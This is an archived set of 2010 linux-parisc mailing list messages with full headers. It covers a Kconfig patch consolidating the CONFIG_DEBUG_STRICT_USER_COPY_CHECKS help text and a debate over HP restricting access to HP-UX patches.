	Thu, 19 Aug 2010 00:38:37 -0400
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga102.jf.intel.com with ESMTP; 18 Aug 2010 21:38:36 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.56,231,1280732400"; 
   d="scan'208";a="546683456"
Original-Received: from avandeve-mobl1.amr.corp.intel.com (HELO [10.254.50.81]) ([10.254.50.81])
  by orsmga002.jf.intel.com with ESMTP; 18 Aug 2010 21:38:35 -0700
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.10) Gecko/20100512 Thunderbird/3.0.5
In-Reply-To: <1282184898-30599-1-git-send-email-sboyd@codeaurora.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3043 gmane.linux.kernel.cross-arch:7282 gmane.linux.kernel:1024816 gmane.linux.ports.arm.kernel:88021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3043>

On 8/18/2010 7:28 PM, Stephen Boyd wrote:
> The help text for this config is duplicated across the x86,
> parisc, s390, and arm Kconfig.debug files. Arnd Bergman noted
> that the help text was slightly misleading and should be fixed to
> state that enabling this option isn't a problem when using pre 4.4
> gcc.
>
> To simplify the rewording, consolidate the text into
> lib/Kconfig.debug and modify it there to be more explicit about
> when you should say N to this config.
>    


Acked-by: Arjan van de Ven <arjan@linux.intel.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCHv2 2/1] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Thu, 19 Aug 2010 14:47:19 +1000
Lines: 46
Approved: news@gmane.org
Message-ID: <20100819144719.e690c674.sfr@canb.auug.org.au>
References: <201008181428.45029.arnd@arndb.de>
	<1282184898-30599-1-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Thu__19_Aug_2010_14_47_19_+1000_C/8cy9Vqz1=X_fXL"
X-Trace: dough.gmane.org 1282193272 17378 80.91.229.12 (19 Aug 2010 04:47:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 04:47:52 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, x86@kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-s390@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 19 06:47:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Olx2a-00022m-GM
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Aug 2010 06:47:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750943Ab0HSEr3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Aug 2010 00:47:29 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:44377 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750758Ab0HSEr2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Aug 2010 00:47:28 -0400
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id C703E14401D;
	Thu, 19 Aug 2010 14:47:23 +1000 (EST)
In-Reply-To: <1282184898-30599-1-git-send-email-sboyd@codeaurora.org>
X-Mailer: Sylpheed 3.0.2 (GTK+ 2.20.1; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3044 gmane.linux.kernel.cross-arch:7283 gmane.linux.kernel:1024818 gmane.linux.ports.arm.kernel:88022
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3044>

--Signature=_Thu__19_Aug_2010_14_47_19_+1000_C/8cy9Vqz1=X_fXL
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 18 Aug 2010 19:28:18 -0700 Stephen Boyd <sboyd@codeaurora.org> wrot=
e:
>
> +config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> +	def_bool y

Why not just have

config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
	bool

in lib/Kconfig.debug

and select that in each arch that want it?

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Thu__19_Aug_2010_14_47_19_+1000_C/8cy9Vqz1=X_fXL
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQEcBAEBAgAGBQJMbLdXAAoJEDMEi1NhKgbsZ5cH/iwiMK4GR/Ccaa/9y8DQ/Tjc
syjOtf+IDUrxBgXrsmXzYu6BfGNpfi0QeF2DwTkc8lxBS5xP/zVX2Kn4JWZv9Yfp
Q59ME2b00JNc0QectvN0fOpa6qgm6EsNjohKs+lGo6gCYwyaWcACS6hZ6b3PL5wy
X9dHfy7JR2eFx2PmurxhGOLONRFR1L4NXsDXqo1uuTGUVGUwRVLRHA7blG20r1Fs
dPmiiWx/kATxWigF/XvU/M67Vh7kIKR0oqqb7wF0lch1jumgdjjsDZDeD5v6KePs
23B8pxvlkFhPldEFxsOUvHsVXMw8FXMb7u+Vzpysuv8+vp49m3Rr14Ug14Xy0+w=
=kZsc
-----END PGP SIGNATURE-----

--Signature=_Thu__19_Aug_2010_14_47_19_+1000_C/8cy9Vqz1=X_fXL--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCHv2 2/1] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Thu, 19 Aug 2010 13:04:11 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <201008191304.11190.arnd@arndb.de>
References: <201008181428.45029.arnd@arndb.de> <1282184898-30599-1-git-send-email-sboyd@codeaurora.org> <20100819144719.e690c674.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1282215857 6498 80.91.229.12 (19 Aug 2010 11:04:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 11:04:17 +0000 (UTC)
Cc: Stephen Boyd <sboyd@codeaurora.org>, linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org, x86@kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-s390@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Aug 19 13:04:14 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Om2up-0007Vt-Fh
	for glka-linux-arch@lo.gmane.org; Thu, 19 Aug 2010 13:04:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752434Ab0HSLEK (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 19 Aug 2010 07:04:10 -0400
Original-Received: from moutng.kundenserver.de ([212.227.17.10]:60254 "EHLO
	moutng.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752035Ab0HSLEJ (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 19 Aug 2010 07:04:09 -0400
Original-Received: from klappe2.localnet (deibp9eh1--blueice3n2.emea.ibm.com [195.212.29.180])
	by mrelayeu.kundenserver.de (node=mreu1) with ESMTP (Nemesis)
	id 0LsdeH-1OsbLS3w0P-012lyg; Thu, 19 Aug 2010 13:04:00 +0200
User-Agent: KMail/1.12.2 (Linux/2.6.35-8-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <20100819144719.e690c674.sfr@canb.auug.org.au>
X-Provags-ID: V02:K0:wG7/lOwKjbbJ7ZmxIFo0FUmGe4rvYksDQ5gvgbr6q1G
 f0IiisXAARA4jh+tn3MWWI5qjUnjGVtqL0P3x90E7Uf81e8jLF
 W/SRTnII3MQfrYFgKo1n2CvJZyeWCmCSchrfzkj70kpJHfEnj/
 gzhgUrcSU/Y6BOQXQjmYScJpfYEgIJEnTr+sFp1cA4lQtIJ/Bt
 5foDd8sed6J4hKVPuat8A==
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7284 gmane.linux.kernel:1024913 gmane.linux.ports.arm.kernel:88063 gmane.linux.ports.parisc:3045
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3045>

On Thursday 19 August 2010, Stephen Rothwell wrote:
>   On Wed, 18 Aug 2010 19:28:18 -0700 Stephen Boyd <sboyd@codeaurora.org> wrote:
> >
> > +config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
> > +     def_bool y
> 
> Why not just have
> 
> config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
>         bool
> 
> in lib/Kconfig.debug
> 
> and select that in each arch that want it?
> 

Yes, that would be even easier, thanks for the suggestion!

	Arnd

From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [alerts@alerts.hp.com: HP SUPPORT ALERT: Change to Patch services
 effective September 18, 2010 ? Action required]
Date: Thu, 19 Aug 2010 11:59:02 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <AANLkTinXgNz7cjNV1oiw+Niy78pMyeCYtaxvqNM-fM0R@mail.gmail.com>
References: <20100819013346.GA9194@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1282233549 20061 80.91.229.12 (19 Aug 2010 15:59:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 15:59:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 19 17:59:07 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Om7WE-0003N4-Ge
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Aug 2010 17:59:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751445Ab0HSP7F convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Aug 2010 11:59:05 -0400
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:38029 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751101Ab0HSP7E convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Aug 2010 11:59:04 -0400
Original-Received: by ywe9 with SMTP id 9so127818ywe.19
        for <linux-parisc@vger.kernel.org>; Thu, 19 Aug 2010 08:59:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=m5zkxRRnBPjZEOk3l69hKxJ+sWIBkkU/fehhjtCGjc8=;
        b=E5lUj8uiheR5gh5fXGNr9HyrMWLaoD8vKeXPngHaqCP8w98yCcIdFhn/KF3hQu4SzQ
         tPkz8ER14fG6K2Wo01p8eMpcxMJxf2QjlnBHYuKNdouom4qZQj0hTOCaUbmFwNLptZ40
         vwo9NTUF4QNb99LcKqHN20+BR2faeqIb8uX2E=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Bnzzrs+PZbyEmegSWFHs+oMFZ5oUIbzAO3LWSQQDsEIWruZyUiiXQ79gLwIHKKE1Do
         cAF4hDtC0GG6C08QsEoQ2TwPggcPQ+r+QP/fqfQ1zxzTgjJdQuYHkjYkE3SNsK/4e0V0
         RVBFnMe6Eyt+ftwA1GB8oYmWlYs3rTn4ZT9kA=
Original-Received: by 10.239.155.69 with SMTP id h5mr1832hbc.61.1282233542556; Thu, 19
 Aug 2010 08:59:02 -0700 (PDT)
Original-Received: by 10.239.137.133 with HTTP; Thu, 19 Aug 2010 08:59:02 -0700 (PDT)
In-Reply-To: <20100819013346.GA9194@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: ZI_3ayNsriu5WOpRnbto2pnkBps
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3046
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3046>

On Wed, Aug 18, 2010 at 9:33 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> I have forwarded this message to the list because I believe that
> this change by HP =A0will impact my support of GCC and binutils on pa=
risc
> particularly for hpux. =A0However, I have always felt that hpux testi=
ng
> provided an important validation for linux. =A0For many years (since
> at least 1990), patches were available without a support agreement.
>
> Comments?

Sorry, could you please clarify your position?

Cheers,
CArlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [alerts@alerts.hp.com: HP SUPPORT ALERT: Change to Patch
	services effective September 18, 2010 ? Action required]
Date: Thu, 19 Aug 2010 13:00:30 -0400
Organization: nrc.ca
Lines: 59
Approved: news@gmane.org
Message-ID: <20100819170030.GA13537@hiauly1.hia.nrc.ca>
References: <20100819013346.GA9194@hiauly1.hia.nrc.ca> <AANLkTinXgNz7cjNV1oiw+Niy78pMyeCYtaxvqNM-fM0R@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1282237230 15092 80.91.229.12 (19 Aug 2010 17:00:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 17:00:30 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 19 19:00:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Om8Tb-0008Mc-9b
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Aug 2010 19:00:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751846Ab0HSRA0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Aug 2010 13:00:26 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1189 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751789Ab0HSRA0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Aug 2010 13:00:26 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 586E64CEC; Thu, 19 Aug 2010 13:00:31 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <AANLkTinXgNz7cjNV1oiw+Niy78pMyeCYtaxvqNM-fM0R@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3047
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3047>

On Thu, 19 Aug 2010, Carlos O'Donell wrote:

> On Wed, Aug 18, 2010 at 9:33 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> > I have forwarded this message to the list because I believe that
> > this change by HP =A0will impact my support of GCC and binutils on =
parisc
> > particularly for hpux. =A0However, I have always felt that hpux tes=
ting
> > provided an important validation for linux. =A0For many years (sinc=
e
> > at least 1990), patches were available without a support agreement.
> >
> > Comments?
>=20
> Sorry, could you please clarify your position?

I have to say I'm surprised by the change.  I think it will lead to
HP hardware and software products being viewed as unreliable and insecu=
re
as most small businesses and software developers can't afford support
agreements.  When I had a HP system with a support agreement (early 90s=
),
the cost was a few thousand a year (can't remember what it exactly cove=
red).
There is a place for support agreements in large enterprises for missio=
n
critical products.

I have no objection to a timed phase out of support for any product, bu=
t
I think it unusual that HP will require a support agreement to access
its patch database.  Microsoft, Apple and many others provide automatic
updates for serious bugs and security problems for the nominal support
life of their products.  Patching HP-UX is still pretty much a manual
operation, and the patch database provides important clues as to what
a given patch fixes.  As far as I know, there are no product enhancemen=
ts
available through the patch database.

The full implications of the change are not clear.  For example, patche=
s
have been available via ftp without using the patch database.  It may
not apply to products that don't use the patch database for distributio=
n.

Sendmail is broken again in HP-UX (HPSBUX02508 SSRT100007 rev.2)...
Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [alerts@alerts.hp.com: HP SUPPORT ALERT: Change to Patch services
 effective September 18, 2010 ? Action required]
Date: Thu, 19 Aug 2010 13:24:59 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <AANLkTikEn-E4bUD4bgbNLNtQYfdN9kuwQ+pCmff5hEtc@mail.gmail.com>
References: <20100819013346.GA9194@hiauly1.hia.nrc.ca>
	<AANLkTinXgNz7cjNV1oiw+Niy78pMyeCYtaxvqNM-fM0R@mail.gmail.com>
	<20100819170030.GA13537@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1282238709 26086 80.91.229.12 (19 Aug 2010 17:25:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 17:25:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 19 19:25:08 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Om8rN-0007PI-Bz
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Aug 2010 19:25:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752861Ab0HSRZB convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Aug 2010 13:25:01 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:52925 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751041Ab0HSRZA convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Aug 2010 13:25:00 -0400
Original-Received: by fxm13 with SMTP id 13so1241141fxm.19
        for <linux-parisc@vger.kernel.org>; Thu, 19 Aug 2010 10:24:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=zijP9OseKl0qT5JWI06pHxINeapNBuTDi6yFAseg5cw=;
        b=IQBkxdJqCXdlAHMRcE3I+T30jugWgfsZ2sNvDRfuThmChZT32fTnpWKQh8qIUrJXul
         REdleEtn7n9rx7HquVmvmNQ+d1aJwSBxjPViWllGq1Nvu2/dhGVY06sHRcp47aKosPoC
         GV8+g8O3E7aWS2nIuQ1XhDox49WagKa8+Ltzs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=MEo5BLREv0g4LWiTd/mihiAA05Dm6wo7P/HyrpdNWQ9PRWiS/TxJk4tHv84E7B83aw
         B4OiPoGgP7a6uXfjv9SxFjw3STDpIKC1XOAKtBzt80FmpIfiW8awVzn8Ez92UYWKNx2G
         rnEh8qAkzTK5Vm2T1RmgLunsJVY25iHuBSSXQ=
Original-Received: by 10.239.134.134 with SMTP id 6mr5202hbz.159.1282238699142; Thu, 19
 Aug 2010 10:24:59 -0700 (PDT)
Original-Received: by 10.239.137.133 with HTTP; Thu, 19 Aug 2010 10:24:59 -0700 (PDT)
In-Reply-To: <20100819170030.GA13537@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: BwOTVkoRAeGnErwBgf_5Zd-4IaQ
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3048>

On Thu, Aug 19, 2010 at 1:00 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> The full implications of the change are not clear. =A0For example, pa=
tches
> have been available via ftp without using the patch database. =A0It m=
ay
> not apply to products that don't use the patch database for distribut=
ion.
>
> Sendmail is broken again in HP-UX (HPSBUX02508 SSRT100007 rev.2)...

I see your point, and I understand that HP-UX support has helped the
Linux support.

If all you need is an FTP server, can't you talk to your HP contacts
and set something up to start holding patches?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [alerts@alerts.hp.com: HP SUPPORT ALERT: Change to Patch
	services effective September 18, 2010 ? Action required]
Date: Thu, 19 Aug 2010 14:06:13 -0400
Organization: nrc.ca
Lines: 46
Approved: news@gmane.org
Message-ID: <20100819180612.GA13795@hiauly1.hia.nrc.ca>
References: <20100819013346.GA9194@hiauly1.hia.nrc.ca> <AANLkTinXgNz7cjNV1oiw+Niy78pMyeCYtaxvqNM-fM0R@mail.gmail.com> <20100819170030.GA13537@hiauly1.hia.nrc.ca> <AANLkTikEn-E4bUD4bgbNLNtQYfdN9kuwQ+pCmff5hEtc@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1282241172 10168 80.91.229.12 (19 Aug 2010 18:06:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Aug 2010 18:06:12 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 19 20:06:10 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Om9VB-0006nX-Pb
	for glpp-linux-parisc@lo.gmane.org; Thu, 19 Aug 2010 20:06:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753172Ab0HSSGJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Aug 2010 14:06:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1194 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753065Ab0HSSGI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Aug 2010 14:06:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AEC0D4CEC; Thu, 19 Aug 2010 14:06:13 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <AANLkTikEn-E4bUD4bgbNLNtQYfdN9kuwQ+pCmff5hEtc@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3049>

On Thu, 19 Aug 2010, Carlos O'Donell wrote:

> I see your point, and I understand that HP-UX support has helped the
> Linux support.

Definitely.  The change will make it more difficult for open source
developers to support HP-UX.  That's my underlying reason for the post.

Within the GCC community, HP-UX support is viewed as more important
than Linux.  Adacore supports a few mission critical applications
on HP-UX (ATC, I believe).  Recently, patch levels came up regarding
